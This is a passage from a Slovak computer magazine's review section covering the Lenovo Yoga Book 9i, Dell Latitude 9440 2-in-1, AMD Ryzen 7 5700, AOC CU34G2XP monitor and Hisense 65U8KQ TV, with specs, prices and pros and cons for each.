MSN (čo Lenovo nazýva Widget Bar). Pred 
zatvorením notebooku musíte odstrániť 
klávesnicu, inak poškodíte displej alebo 
pánt.

Ak chcete používať oba displeje, môžete 
zariadenie otvoriť rovno ako časopis, po
užívať bluetoothovú klávesnicu a myš alebo 
písať perom v aplikácii Lenovo Smart Note 
(ktorá môže exportovať poznámky vo for-
máte PDF, PNG alebo do Microsoft OneNote). 
Podľa očakávania môžete ťahať, zmenšovať 
a usporadúvať okná aplikácií na dvoch obra-
zovkách, ako sa vám páči. Potiahnutím vrchu 
okna sa zobrazí malé vyskakovacie okno, 
ktoré ponúka presunutie do druhého displeja 
alebo pridanie do dvoj-, troj- alebo štvora-
plikačného rozloženia. Klepnutím dovnútra 
okna piatimi prstami (v skutočnosti to nie je 
také jednoduché ako klepnutie tromi alebo 
ôsmimi) sa rozšíri alebo rozleje cez oba dis-
pleje. Možno najpôsobivejší trik Yoga Book 
je cestovný obal, ktorý obklopuje klávesnicu 
a skladá sa ako origami do akéhosi pyramí-
dového tvaru, ktorý podopiera dva displeje 
buď v portrétnom, alebo širokom režime, s 
hrebeňom alebo výčnelkom na zabezpeče-
nie spodného okraja. Klávesnicu môžete za-
pojiť pod hrebeň alebo ju odpojiť a presunúť 
bližšie k sebe, pričom používate bezdrôtovú 
myš a pero podľa potreby. Portrétový režim 
je ako otvorená kniha postavená pred vás. 
Lenovo sľubuje aj aplikáciu na čítanie e-kníh, 
počas testu však nebola k dispozícii. Dis-
pleje nad sebou sú o niečo menej obvyklé, 
táto konfigurácia si však určite nájde množ-
stvo využití. Zvukový panel s pántmi bráni v 
oboch typoch zobrazenia využitiu bezšvo-
vého celoobrazovkového zobrazenia ako pri 
skladacích displejoch. Displeje nad sebou 
sú však veľmi užitočné v rôznych grafických 
aplikáciách alebo pri spracovaní videa. Jeden 
z nich môžete použiť na zobrazenie ponúk a 
nástrojov a druhý napríklad na náhľad celej 
práce. Na každom môžete mať zobrazené 
iné aplikácie. Pri práci na dvoch displejoch 
je lepšie používanie myši. Dotykové pero je 
výhodné v tabletovom režime alebo v grafic-
kých aplikáciách, ak ho využívate 
na displeji, ktorý je na stole. Inak 
je s ním práca neprirodzená, 
lebo nemáte podporu pre 
ruku.      

Zariadenie nemá čítačku od-
tlačkov prstov, ale webová ka-
mera ponúka IR rozpoznávanie 

tváre pre Windows Hello a môže vás prihlá-
siť a zablokovať systém, keď sa priblížite a 
vzdialite. Navyše sa môže pochváliť extra 
ostrým rozlíšením až do 2560 × 1440 pi-
xelov pre 16:9 alebo 2592 × 1944 pre 4:3 
obrázky alebo videá. Dodávaná klávesnica 
má príjemný, ale plytký zdvih pri písaní. 
Získava body za rovnaké systémové skratky 
v hornom riadku ako jej virtuálny protipól. 
Nabíja sa, keď je pripojená k portu USB-C, 
zatiaľ čo dodané pero používa jednu ba-
tériu AAA. Zvukový panel nesie značku 
Bowers & Wilkins a obsahuje dva 2-wattové 
tweetery s dvojicou 2-wattových basových 
reproduktorov v rohoch základne, ktoré 
zvládajú viac ako dostatočnú hlasitosť a po-
skytujú nadštandardne dobrý zvuk. Softvér 
Dolby Access ponúka predvoľby pre hudbu, 
filmy, hry, dynamiku a hlas a ekvalizér. Oba 
displeje Yoga Book sú nádherné, ostré, s 
bohato nasýtenými farbami. Kontrast je 
vynikajúci, ako je to pri väčšine 
panelov OLED. Biele oblasti sú 
čisté a jasné, zatiaľ čo čierne sú 
ako indický atrament. Displeje 
majú široký zorný uhol, škoda 
len lesklého povrchu. 

Notebook si pri testoch po-
čínal dobre a výsledky zodpo-
vedajú danému hardvéru. Pri 
aplikačných testoch bez problé-
mov zvláda spracovanie 4K 60p 
videa v softvéri Blackmagicde-
sign DaVinci Studio, výborne 
sa hodí na prácu s grafikou či 
fotkami, na čo ho predurčuje vy-
soká kvalita a farebná vernosť 
displejov. Jedinou slabosťou 
displejov je nižší jas, ktorý ne-
umožňuje ich používanie na 
priamom slnku, to je však 
hendikep v podstate všet-
kých displejov OLED. Pri 
používaní, hlavne počas 
nastavovania systému, 
sa občas ukázal i 
n iektoré drobné 
nedoladenia soft
véru, ako napr. 
nezobrazenie 
klávesnice pri 

zadávaní PIN, skrytie kurzora a podobne. 
Išlo však o predprodukčnú vzorku a dá sa 
očakávať, že to výrobca softvérovo doladí. 

   »  RENÉ HUBINSKÝ

PLUSY, MÍNUSY:

+

–

Možnosti využitia, kvalita displejov, 
výkon, príslušenstvo v balení, kvalita 
zvuku  
Slabšia konektivita

PARAMETRE:

 Lenovo Yoga Book 9i- Windows 11 Professional 
64bit, Intel Core i7-1355U, 16 GB LPDDR5 6400 
MHz, 1 TB M.2 PCIe SSD, 2× 13,3", 2,8K, 2880 × 
1800 px, lesklý Touch OLED, 400 nitov, Intel Iris Xe 
Graphics, Wi-Fi 6E Intel 802.11ax 2×2 + Bluetooth 
5.2, 5 Mpx kamera + IR snímač Windows Hello, 
3× port USB-C USB 4.0 / Thunderbolt 4 / PD 65 W 
– 80 Wh Li-ion batéria, 65 W AC adaptér USB-C/
PD, 1,34 kg 
  Cena:  2299 EUR

HODNOTENIE:
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» Dell Latitude 9440 2-v-1 výrobca propaguje 
ako „najmenší 14-palcový komerčný počí-
tač na svete“. Aj keď sme ho neporovnávali 
so všetkými konkurentmi, je pravda, že jeho 
rozmery sú skutočne kompaktnejšie. Trochu 
iné to však je s hmotnosťou, kde s 1,53 kg re-
kordy neláme. Koncept 2-v-1 v tomto prípade 

znamená kombináciu 
notebooku a tabletu. 
Pokiaľ ide o ergonómiu, 
dizajn 2-v-1 je viac než 
funkčný. Kĺb otočný o 
360 stupňov uľahčuje 
prechod medzi reži-

mami laptopu a tabletu, s režimami stanu a 
kiosku vhodnými na prezentácie medzi nimi. 
Displej s rozlíšením QHD vyzerá fantasticky 
v akomkoľvek režime a panel IPS je rovnako 
jasný a farebný v režimoch na šírku a na výšku, 
bez akéhokoľvek posunu farieb, keď meníte 
uhol pohľadu. Citlivosť na dotyk je vynikajúca 
a takmer bezrámčekový dizajn InfinityEdge 
od Dellu sa ľahko drží bez nechceného spus-
tenia čohokoľvek na dotykovom displeji. 
S dotykmi nemusíte váhať, výrobca pridal 
antireflexný povrch s úpravou proti zane-
chávaniu odtlačkov prstov. Celkový vzhľad 
je veľmi dobrý, s takmer čiernym grafito-
vým povrchom, ktorý bude vyzerať dobre v 
akomkoľvek pracovnom prostredí, a zvýše-
nou odolnosťou napriek štíhlemu dizajnu. 
Dell uvádza, že Latitude 9440 2-v-1 prešiel 
testami MIL-STD 810H proti cestovným ne-
bezpečenstvám, ako sú nárazy a vibrácie. 
Jedinou výhradou k dizajnu je ostrá predná 
hrana, ktorá sa smerom dole zvažuje dozadu, 
a tak je niekedy problém zariadenie otvoriť. 

Notebook sa vyznačuje výbornou kláves-
nicou. Výrobca sa sústredil na pripomienky 
recenzentov a zákazníkov, dizajn klávesnice 
tak podporuje jednoduché písanie, dosta-
točný zdvih pre každý úder klávesu 
a všeobecne príjemný záži-
tok. Čisté línie a štíhly 
dizajn pôsobia dobre, 
ale chcelo by to trocha 
zaobliť hrany. Obrovský 
touchpad je umiestnený 
v strede od klávesnice až po okraj 
bez akéhokoľvek ohraničenia. Nazýva sa 
Collaboration Touchpad a ponúka haptickú 
spätnú väzbu spolu so štyrmi svietiacimi LED 
ikonami, ktoré sa zobrazia len počas video-
hovorov. Tieto svietiace symboly sú tlačidlá 
rýchlej voľby pre komunikačný softvér Zoom, 
ktoré vám umožňujú rýchlo zdieľať obra-
zovku, četovať, zapnúť a vypnúť mikrofón 
a prepínať video webovej kamery. Webová 
kamera pracuje s rozlíšením 1080p a je do-
plnená IR snímačom na rozpoznávanie tváre 
na bezpečné prihlásenie pomocou Windows 
Hello a zabudovanou clonou na zabránenie 
špehovaniu, keď ju nepoužívate. Stlačením 
klávesu F9 pri bežnom používaní alebo ovlá-
dania touchpadu počas hovoru Zoom spustíte 
fyzickú clonu vnútri horného panela. Kryt má 
ľahko rozpoznateľnú červenú farbu, takže 
viete, kedy je kamera offline. Biela LED indi-
kuje, že webová kamera je aktívna. Zapínacie 
tlačidlo je umiestnené v pravom hornom rohu 
klávesnice, má integrovaný snímač odtlačkov 
a v zapnutom stave svieti jeho obrys nabielo. 

Keďže ide o pracovný notebook, používate-
lia oceňujú viac možností pripojenia. Tu, žiaľ, 

zostala iba tro-
jica portov USB-C 

štandardu Thun-
derbolt 4 s pod-

porou PD. Všetky tri 
porty sú rovnocenné, 

takže každý môžete po-
užiť na napájanie či pripo-
jenie monitora cez DP. Ak 
potrebujete použiť nejaký 
starší typ portu, vždy mô-
žete nájsť dokovacie sta-
nice a adaptéry, ale je to 
menej praktické. Pozitívne 
je, že porty USB-C pracujú 
s najnovším štandardom 
Thunderbolt 4 a k dispo-
zícii je aj moderné bezdrô-
tové pripojenie Wi-Fi 6E 
s 2×2 MIMO a bluetooth.  

O pohon sa v našom prípade stará 13. gene-
rácia procesora Intel Core i7-1365U so 16 GB 
LPDDR5 RAM integrovanej na doske s 512 GB 
SSD PCIe M.2. Grafiku má na starosti integ-
rovaná grafická karta Intel Iris Xe Graphics. 
V teste videa vydržal Latitude 9440 2-v-1 až 
16 hodín, čo je na pracovný notebook veľmi 

dobrá hodnota. 
Kvalita displeja IPS je viac ako postačujúca 
na prácu. Jeho jas je takisto dosť vysoký, ide 
o jeden z mála notebookov, ktorý prekračuje 
hranicu 500 nitov.
Nový Dell Latitude 9440 2-v-1 je veľmi dobrá 
voľba pre profesionálov hľadajúcich spoľah-
livý, výkonný a dobre vybavený notebook s 
vynikajúcou výdržou batérie a inovatívnymi 
funkciami na videokonferencie. Aj keď má ob-
medzený výber portov, jeho celkový výkon a 
dizajn by mali tieto drobné nedostatky kom-
penzovať pre väčšinu používateľov.

 »  RENÉ HUBINSKÝ 

DELL LATITUDE 9440 2-V-1

„VÝKONNÝ PRACOVNÝ 
NOTEBOOK 2 V 
1 S KVALITNÝM 

DISPLEJOM A VEĽKOU 
VÝDRŽOU. “

Malý, ale výkonný pracant

PLUSY, MÍNUSY:

+
–

Výkon, kvalita klávesnice a touchpadu, 
displej, výdrž
Ponuka konektorov by mohla byť širšia

PARAMETRE:

 Procesor: Intel Core i7-1365U (12 MB vyrovná-
vacej pamäte cache, 10 jadier, až 5,2 GHz); pamäť: 
16 GB, integrovaná na doske [LPDDR5, 6000 
MHz, maximálna konfigurácia 64 GB]; operačný 
systém: Windows 11 Pro (64-bit.) MUI; kapacita 
disku: 512 GB SSD PCIe M.2; displej: 14" QHD+ 
(2560 × 1600), antireflexný, dotykový, s pod-
porou pera, ComfortView; grafická karta: Intel 
Iris Xe Graphics so zdieľanou pamäťou; we-
bová kamera: farebná a infračervená kamera s 
rozlíšením FHD a mikrofónom; pripojenie: Intel 
Wi-Fi 6E AX211, 2×2, 802.11ax, bluetooth; baté-
ria a napájanie: trojčlánková batéria s funkciou 
ExpressCharge (60 Wh), adaptér 65 W (USB-C); 
farba: sivá; klávesnica: podsvietená (Single 
Pointing) klávesnica česká/slovenská – bez nu
merickej časti; čítačka odtlačku prsta; konek-
tivita: 3× porty Thunderbolt 4 s technológiou 
PD/DP, USB4 Type C, 1× kombinovaný konektor 
pre mikrofón/slúchadlá, 1× slot na bezpečnostný 
zámok Wedge; rozmery (v × š × h): 14,92 – 16,28 
× 310,50 × 215,00 mm; hmotnosť: od 1,53 kg
  Cena:  3060 EUR

HODNOTENIE:
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» AMD má pri uvádzaní procesorov na trh 
zaužívanú stratégiu, že najskôr sú dostupné 
modely s prívlastkom X s trochu vyššou tak-
tovacou frekvenciou. Základné modely predá-
vané za nižšiu cenu prídu na trh až po určitom 
čase. Najskôr pre OEM čiže výrobcov počíta-
čov a až následne pre maloobchod. Presne 
to je prípad procesora AMD Ryzen 7 5700 s 
kódovým označením Cezanne, ktorý sa ne-
dávno stal všeobecne dostupným v maloob-
chodnom predaji.

Aby sme vysvetlili pozíciu tohto procesora, 
AMD využíva základné dosky s päticou AM5 
pre pamäte DDR5 a dosky s päticou AM4 pre 
pamäte DDR4. Intel naproti tomu umožňuje 
použiť najnovšie procesory aj v základných 
doskách využívajúcich pamäte DDR4, stačí, 
aby doska mala päticu LGA 1700 a BIOS pod-
poroval procesor. Ryzen 7 5700 je určený pre 
základné dosky s päticou AM4 a pamäťami 
DDR4. Je to vynikajúca voľba pre používateľov, 
ktorí chcú svoje staršie zostavy s pamäťami 
DDR4 upgradovať na moderný osemjadrový 
procesor, prípadne na vytvorenie cenovo do-
stupnej zostavy. Aj napriek klesajúcej cene 
DDR5 sú hlavne pri vyšších kapacitách pamäte 
DDR4 stále oveľa lacnejšie. Na porovnanie, kit 
Kingston Fury 64 GB DDR4, zložený z dvoch 
32 GB modulov, stojí 129 eur a 64 GB kit rov-
nakej značky stojí 196 eur. Je síce pravda, že 
DDR4 kit má 3200 MT/s a DDR5 4800 MT/s, 
ale rozdiel v taktovacej frekvencii RAM sa 
v bežných aplikáciách a takisto syn-
tetických benchmarkoch výrazne 
výkonovo neprejaví. 

Vráťme sa však k procesoru 
Ryzen 7 5700. Tento konkrétny 
model sa dodáva s 
chladičom v 

balení. Keďže v označení nie je G, tento 
model nemá aktivovanú integrovanú gra-
fiku, teda v PC potrebujete mať grafickú 
kartu. Monolitický procesor integruje osem 
výpočtových jadier, dvojkanálový radič 
pamätí DDR4, radič PCI Express 3.0 s 20 
linkami a 16 GB. Procesor využíva mikroar-
chitektúru AMD Zen 3, má už spomínaných 
8 jadier so simultánnym multithreadingom, 
ktorý umožňuje každému jadru spraco-
vávať dve softvérové vlákna súčasne, čo 
v praxi znamená 16 vlákien. Na čipe je 20 
MB cache, ktorá je rozdelená na 4 MB L2 a 
16 MB L3 cache. Základná frekvencia je 3,7 
GHz a maximálna boost frekvencia 4,6 GHz. 
Pretaktovanie na túto frekvenciu v prípade 
vysokých požiadaviek na výpočtový výkon 
je automatické. Procesor je odomknutý na 
pretaktovanie, ale nastavenia, ktoré vedú k 
prekročeniu základného TDP 65 W, by mali 
robiť len skúsení používatelia. V takomto 
prípade treba takisto nahradiť pribalený 
chladič za výkonnejší. Procesor je vyrobený 
technológiou TSMC 7 nm FinFET a podpo-
ruje pamäte DDR4 do maximálnej frekven-
cie 3200 MT/s. 

Na rozdiel od zaužívanej praxe Ryzen 7 5700 
má rovnaké taktovacie frekvencie ako Ryzen 7 
5700 X, ale variant s X má 4 MB L2 cache a 32 
MB L3, čiže spolu využíva 36 MB cache. Polo-
vičná veľkosť L3 cache v porovnaní s 5700 X 

sa, samozrejme, do určitej miery podpíše na 
výkone, v prípade hier je však kľúčový 
výkon grafickej karty. Ďalší rozdiel je, 
že kým model 5700 X podporuje PCI 
Express 4.0, „základný“ model 5700 
má šírku pásma PCI podľa špecifiká-
cie 3.0. Pri prípadnom porovnávaní 

cien 5700 a 5700 X však treba 
vziať do úvahy, že 
Ryzen 7 5700 X sa 
dodáva bez chla-
diča, ktorý musíte 
dokúpiť. Zjedno-
dušene povedané, 
Ryzen 7 5700 je v 
podstate 5700 G 
s deaktivovanou 
grafikou, čo potvr-
dili aj naše testy.  

Procesor AMD 
Ryzen 7 5700 som 
testoval v základ-
nej doske ASUS 
T U F  G a m i n g 

B550 Plus so 16 GB RAM Kingston FURY 16 
DDR4 3200 MHz CL16 v konfigurácii dvoch 
modulov po 8 GB a s diskom SSD Patriot 
P300 512 GB. Do zostavy som pridal gra-
fickú kartu NVIDIA RTX 4060 Ti od výrobcu 
ASUS TUF. Simuloval som scenár upgradu 
herného PC strednej triedy, keď hráč využil 
dostupné prostriedky na nový procesor a na 
výkonnejšiu grafickú kartu. Použil som chla-
dič dodávaný spolu s procesorom a v BIOSe 
som nastavil profil ASUS Optimal. Pribalený 
chladič na 65 W TDP v pohode stačí, aj keď 
pri vyšších otáčkach je už trochu hlučný. 
Komu by to prekážalo, môže použiť chladič 
dimenzovaný na vyšší výkon, ktorého venti-
látory sa pri 65 W TDP budú otáčať pomalšie. 

Testovanie vo Windows 11 som začal 
syntetickými benchmarkmi zameranými 
na procesor. Výsledky benchmarkov som 
porovnal s generačne ekvivalentným pro-
cesorom Intel Core i7 12700 12. generácie 
(vyššie skóre znamená vyšší výkon). Maxi-
málna frekvencia pri testoch využívajúcich 
jedno jadro bola 4638 MHz. 

Test
Ryzen 7  

5700
Intel Core  
i7-12700

CPU-Z Single core 625 759

CPU-Z Multi core 6465 8 719

Geekbench 6 Single core 2040 1 809

Geekbench 6 Multi core 6 465 13 902

3D Mark CPU Profile 
Max Threads 6 888 9 460

3D Mark CPU Profile 
1-thread 912 1 015

PC Mark 10 7149 8 169

Intel Core i7 12700 je vo väčšine testov 
výkonnejší, ale aj v súčasnosti, keď už je 
na trhu štrnásta generácia, stále stojí 325 
eur, teda dvojnásobok ceny Ryzen 7 5700. 
Keďže testovaný procesor nemá integro-
vanú grafiku, testovanie hier by neprinieslo 
relevantné výsledky, pretože plynulosť a 
kvalita zobrazovania závisí predovšetkým 
od použitej grafickej karty. 

Ak to zosumarizujeme, procesor AMD 
Ryzen 7 5700, ktorý je teraz dostupný aj v 
maloobchodnom predaji, poteší predo-
všetkým majiteľov počítačov so základnou 
doskou s päticou AM4 a pamäťami DDR4, 
ktorí môžu za dobrú cenu upgradovať na 
výkonný osemjadrový procesor. Rovnako 
ho privítajú aj cenovo citliví používatelia, 
ktorí si konfigurujú novú zostavu a vzhľa-
dom na výhodnejšiu cenu stále preferujú 
základnú dosku podporujúcu DDR4. 

 Cena:  223,90 EUR
 Produkt je možné zakúpiť: www.DATACOMP.sk

 »  ĽUBOSLAV LACKO

Procesor AMD Ryzen 7 5700  
pre zostavy s pamäťami DDR4



» Pre hráčov túžiacich po špičkovom výkone 
a extra výhodách pri hraní hier ponúka teraz 
AOC nový monitor CU34G2XP/BK, ktorý sme 
dostali na test. Niet pochýb o tom, že ultra-
široké displeje sa stali de facto štandardom 
pre herných nadšencov. To, čo sa pred nie-
koľkými rokmi začalo ako novinka, sa vyvi-

nulo v žiadaný hardvér pre 
hráčov, ktorí hľadajú úplné 
pohltenie. To sa snažia plniť 
práve displeje s pomerom 
strán 21:9 a viac a so zakri-
vením, ktoré hráča obklopí a 
vytvára pred ním panorámu 

herného sveta. Asi najväčšou devízou testo-
vaného monitora je pôsobivá obnovovacia 
frekvencia 180 Hz a podpora AMD FreeSync 
Premium. 

Ako je to u výrobcu zvykom, monitor je vy-
bavený masívnym stojanom a pevnou základ-
ňou, ktorá sa k panelu pripevní bez použitia 
náradia. Umožní nastavenie výšky, sklonu aj 
natočenia, takže si monitor môžete nastaviť 
presne podľa vašich potrieb. Keby stojan ne-
vyhovoval, možno využiť aj zavesenie VESA 
100 na externý držiak. V balení nájdete aj 
káble DisplayPort, HDMI, USB a, samozrejme, 
napájací kábel. Monitor má interný zdroj. 
Tridsaťštyripalcový LCD panel typu VA s roz-
líšením 3440 × 1440 bodov má biele podsvie-
tenie WLED a je osadený v tenkom rámiku, 
ktorý pri vypnutom napájaní vyzerá ako 
bezrámčekový. Zakrivenie panela je 1500R 
a je vybavený antireflexnou 

povrchovou úpravou. Monitor má jednodu-
chý, ale efektný obojstranný dizajn s matnou 
tmavosivou farbou doplnenou červenými ak-
centmi v podobe línie pod displejom, krúžka 
na základni stojana a prúžkov v zadnej časti. 
Vďaka schopnosti pixel overdrive dosahuje 
monitor latenciu až 1 ms GtG, čím potvrdzuje 
svoje cielenie na súťažné hranie. Monitor je 
certifikovaný podľa VESA DisplayHDR 400, 
čo je prísľubom hlbokého kontrastu a živého 
zobrazenia v hrách. V tejto súvislosti je tro-
cha zvláštny nameraný jas na úrovni iba 300 
nitov, takže vysoké jasy v HDR nemožno veľmi 
očakávať. Latencia 1 ms MPRT, dosiahnuteľná 
prostredníctvom režimu MBR, umožňuje 
nízku perzistenciu pixelov, takže je ideálna na 
súťažné herné scenáre, kde sa počíta každá 
milisekunda. Monitor poskytuje pôsobivý 99 
% farebný priestor sRGB, čo umožňuje jeho 
univerzálnejšie použitie nielen na hranie hier, 
ale aj pre tvorcov obsahu alebo úlohy mimo 
hrania. Medzi prípojnými miestami nájdete 
rovno dvojicu portov štandardu DisplayPort 
1.4 a dvojicu HDMI 2.0 na pripojenie viace-
rých zdrojov, štvoricu USB a výstup na slú-
chadlá. FreeSync s HDR bude fungovať cez 
akýkoľvek obrazový vstup, ale na spustenie 
G-Sync je ako zvyčajne potrebný DisplayPort. 
Ovládacie tlačidlá sú na očakávanom mieste 
vpravo dole, ale tentoraz sú veľmi malé 
a zapustené. Aj keď cva-

kanie spínačov pri stlačení počuť, po hmate sa 
ovládajú ťažko. Lepšie by bolo, keby výrobca 
použil ovládací joystick. 

Monitoru asi najviac chýba deklarovaný jas 
300 nitov a v režime HDR neponúka žiadne 
dodatočné svetlo. Panel VA síce má kontrast 
približne 2400:1, ale neposkytuje žiadny extra 
dynamický rozsah pre materiály HDR. Dokáže 
vykresliť dobré úrovne čiernej, ale hodilo by sa 
viac svetla. No ak hľadáte solídne spracovanie 
videa, tu ho nájdete. 

FreeSync aj G-Sync 
(neoficiálne) funguje 
aj s HDR, pričom reakcia panela je dostatočne 
rýchla na to, aby sa pohybová neostrosť udr-
žala na nízkej úrovni, a redukcia rozmazania 
nebola potrebná, pokiaľ sa snímková frekven-
cia držala nad 80 fps. Pri rozlíšení QHD si to 
nebude vyžadovať drahšiu grafickú kartu.

AOC CU34G2XP nie je lacný monitor, ale 
nestojí oveľa viac ako iné 34-palcové ultra-
široké displeje. Samozrejme, že môžete mať 
lepší výkon HDR, vyšší jas a väčší farebný 
gamut, ale za to si budete musieť priplatiť. Tu 
za svoje peniaze dostanete vynikajúci výkon 
s frekvenciou až 180 Hz a vďaka kvalitným 
farbám aj možnosť širšieho využitia na prácu. 

 »  RENÉ HUBINSKÝ 

AOC CU34G2XP/BK

„VÝBORNÝ HERNÝ 
MONITOR, KTORÝ 

UMOŽŇUJE AJ 
PRÁCU.“

Už nezmeškáte žiadnu akciu

PLUSY, MÍNUSY:

+

–

Antireflexný panel, kvalita obrazu,  
konektivita, možnosti polohovania,  
zakrivenie 1500R
Max. jas by mohol byť vyšší

PARAMETRE:

 Veľkosť obrazovky: 34 palcov, typ panela: VA, 
zakrivenie 1500R, antireflexná úprava, natívne 
rozlíšenie: 3440 × 1440, latencia (G2G): 1 ms, 
AdaptiveSync 180 Hz, kontrastný pomer: 4000:1, 
pozorovacie uhly: 178° horizontálne aj vertikálne, 
konektivita: 2× HDMI 2.0, 2× DisplayPort 1.4, 
výstup na slúchadlá (3,5 mm), 4× USB hub, 
napájanie: interný zdroj, rozmery 808,3 × (398,2 
~ 528,2) × 237,4 (so stojanom), hmotnosť: 8,02 
kg (s podstavcom)
  Cena:  389 EUR

HODNOTENIE:

RECENZIE

MAREC 202456



57MAREC 2024

RECENZIE

» Testoval som model s uhlopriečkou 65 palcov, 
v ponuke však je aj 55 a 75-palcový. Montáž po 
vybalení, ako aj úvodná konfigurácia sú jednodu-
ché, v mojom prípade stačilo pripojiť eternetový 
kábel, pretože väčšinou sledujem programy zo 
streamovacích služieb, prípadne filmy a videá 
nahraté na domácom NAS. Ak sa pripájate cez 
Wi-Fi, heslo môžete zadať cez aplikáciu Vidaa. Na 
spárovanie televízora s aplikáciou stačí odfotiť 
QR kód na obrazovke. Najpoužívanejšie strea-

movacie služby ako Netflix, 
YouTube, Disney+, Ama-
zon Prime či Apple TV sú 
predinštalované, rovnako 
aj niektoré domáce služby, 
napríklad Voyo či Antik TV. 
Tlačidlá pre streamovacie 
služby sú aj na diaľkovom 

ovládači. Ovládač má aj mikrofón, ktorý sa vy
užíva na zadávanie hlasových povelov, žiaľ, slo-
venčina nie je podporovaná, takže povely budete 
musieť zadávať v angličtine. Ovládač vysiela sig-
nály štandardne cez infra, no ak chcete využívať 
hlasové ovládanie, treba spárovať bluetoothovú 
komunikáciu ovládača s televízorom. 

Dizajn je tradične minimalistický, s veľmi ten-
kými rámikmi hore aj na bokoch. Typický po-
znávací znak je látkou potiahnutá plocha pod 
obrazovkou, za ktorou sú reproduktory. Plochý 
podstavec umožňuje bezproblémové umiest-
nenie soundbaru, ale nemôže byť vyšší než 9 cm. 

Technológie a certifikácie Dolby Vision IQ, 
IMAX Enhanced a Dolby Atmos sú zárukou kva-
litného obrazu a zvuku. Zobrazovací panel s roz-
líšením 4K čiže 3840 × 2160 pixelov a variabilnou 
obnovovacou frekvenciou s maximom 144 Hz 
využíva technológiu Quantum Dot s mini LED 
podsvietením, ktoré umožňuje lokálne silnejšie 

podsvietiť svetlé plochy a tmavé plochy nechať 
neosvetlené. Zvyšuje to kontrast obrazu a realis-
tické zobrazenie čiernej farby. Zobrazovací panel 
s uhlopriečkou 65 palcov umožňuje individuálne 
lokálne podsvietiť 1008 zón. Vo väčšine scén tak 
možno stmaviť oblasti obsahujúce tmavé plo-
chy, takže čierna bude skutočne čierna. V iných 
zónach môžu pritom byť jasne osvetlené plochy. 
Maximálny jas v špičke je 1500 nitov, čo je jedna z 
výhod v porovnaní s technológiou OLED.  

Prehrával som filmy zo streamovacích služieb, 
4K Blu-ray aj NAS servera Synology, ktorý bol au-
tomaticky rozpoznaný, takže som nemusel nič 
konfigurovať. Zdieľané priečinky Video, Music a 
Photo sú automaticky sprístupnené, stačí, aby te-
levízor a NAS boli na rovnakej sieti. Samozrejme, 
pozeral som aj športové prenosy. Najviac sa mi 
osvedčil štandardný režim, no určite vyskúšajte 
aj ostatné režimy. Napríklad dynamický režim je 
vhodný v dobre osvetlenej miestnosti, v prítmí 
však pre vysoký maximálny jas trochu „ťahá“ oči. 
Určite si to uvedomili aj konštruktéri a zabudovali 
senzor intenzity okolitého svetla a implemen-
tovali režimy Kino deň a Kino noc. Výsledkom 
je prirodzený obraz prispôsobený aktuálnym 
svetelným podmienkam, so zlepšenou repro-
dukciou detailov v tmavých aj svetlých častiach 
obrazu súčasne, ako aj s väčšou dynamikou. 
Musím pochváliť síce sýte, ale stále prirodzené a 
nepresaturované farby. Vynikajúco sa zobrazuje 
aj obsah HDR10+ a HLG (Hybrid Log Gamma). 
Vďaka výkonnej čipovej súprave Hi-View Engine 
je vynikajúca kvalita upscalingu z rozlíšenia full 
HD, v ktorom vysielajú naše TV stanice na 4K. 
Technológia Hisense AI Picture Optimization 
významne prispieva k pohlcujúcejšiemu zážitku 
zo sledovania. Vďaka výkonnému výpočtovému 
akcelerátoru dokáže v reálnom čase vyhodnotiť 

obraz a optimalizovať jeho nastavenie. Vyskú-
šal som aj testovacie videá primárne určené na 
zdôraznenie výhod displejov OLED a výsledok 
bol vynikajúci. Nemal som síce priamu možnosť 
porovnávať obraz na zobrazovacích paneloch 
LCD mini LED a OLED, ale veľký rozdiel tam prav-
depodobne nebude. Každopádne pri mini LED si 
nemusíte robiť starosti o životnosť panela ani pri 
maximálnom nastavení jasu.  

Porty HDMI 2.1 zvládnu obrazový signál z her-
ných konzol s rozlíšením 4K pri frekvencii 120 Hz 
a s podporou VRR (Variable Refresh Rate). Zo-
brazovací panel má maximálnu obnovovaciu 
frekvenciu 144 Hz, čo spolu s podporou AMD 
FreeSync PRO ocenia hráči bez ohľadu na to, či 
sa hrajú na konzolách, alebo PC. TV som skúšal 
s Xboxom S aj herným notebookom s grafickým 
čipom NVIDIA RTX 4090. V kultovej hre Hallo 
som si vychutnal vynikajúce podanie detailov 
na plochách v tieni. Najviac som si na veľkej ob-
razovke vo vysokom rozlíšení pochvaľoval stra-
tegickú hru Age of Empires II Definitive Edition. 
Aktuálne parametre pre hry môžete zobraziť, 
prípadne nastaviť na lište Game bar. 

Vášnivých hráčov hier s najvyššími nárokmi 
na obraz, zvuk a rýchlosť reakcie poteší 144 Hz 
obnovovacia frekvencia obrazovky, nová či-
pová  súprava Hi-View Engine a herný režim 
144 Hz Game Mode PRO s technológiou AMD 
FreeSync PRO.

Na reprodukciu zvuku sa využíva päť akustic-
kých meničov. Dva meniče s výkonom 15 W sú 
v integrovanom soundbare potiahnutom priez-
vučnou látkou pod obrazovkou, dva meniče s 
výkonom 5 W sú na hornej stene televízora a 
odrazom od stropu vytvárajú dojem priesto-
rovej reprodukcie. Na reprodukciu basov je 
určený 20 W menič v strede zadnej steny. Aby 
ste si mohli naplno vychutnať kvalitný zvuk, od-
porúčam zostavu domáceho kina 5.1 alebo 7.1, 
prípadne soundbar so subwooferom. 

»  ĽUBOSLAV LACKO

„ZOBRAZOVACÍ 
PANEL QUANTUM 

DOT S MINI LED 
PODSVIETENÍM 

JE ZÁRUKOU 
BRILANTNÝCH FARIEB 

A VYSOKÉHO JASU.“

PLUSY, MÍNUSY:

+
–

Výborný obraz, dobrý zvuk, prehľadné 
používateľské rozhrania 
Hlasové ovládanie nepodporuje  
slovenčinu

PARAMETRE:

 Uhlopriečka 65" (165,1 cm) QLED, rozlíšenie: 4K 
UHD 3840 × 2160 px, obnovovacia frekvencia 
144 Hz, podpora HDR10+, Dolby Vision IQ, HLG; 
konektivita: 4× HDMI 2.1 120 Hz eARC/VRR/
ALLM; optický výstup S/PDIF, 2× USB; tuner 
DVB-T/T2CS2, eternet, Wi-Fi 802.11ac, 2×2, 
bluetooth, CI+, zvuk 2 × 15 W + 2 × 5 W + 20 W; 
spotreba 109 kWh/1000 h SDR, 280 kWh/1000 h 
HDR, rozmery 145,2 × 91,4 × 7,8 cm; hmotnosť 
41,5 kg 
  Cena:  1549 EUR

HODNOTENIE:

HISENSE 65U8KQ

Mini LED televízor aj pre hráčov



» Spoločnosť Insta360 je na trhu známa ako 
výrobca 360° akčných kamier, ale dosiaľ v jej 
portfóliu v podstate chýbala klasická akčná 
kamera, ktorá by mohla konkurovať GoPro 
Hero 12 Black alebo DJI OSMO Action 4. Od-
poveďou na túto konkurenciu má byť práve 
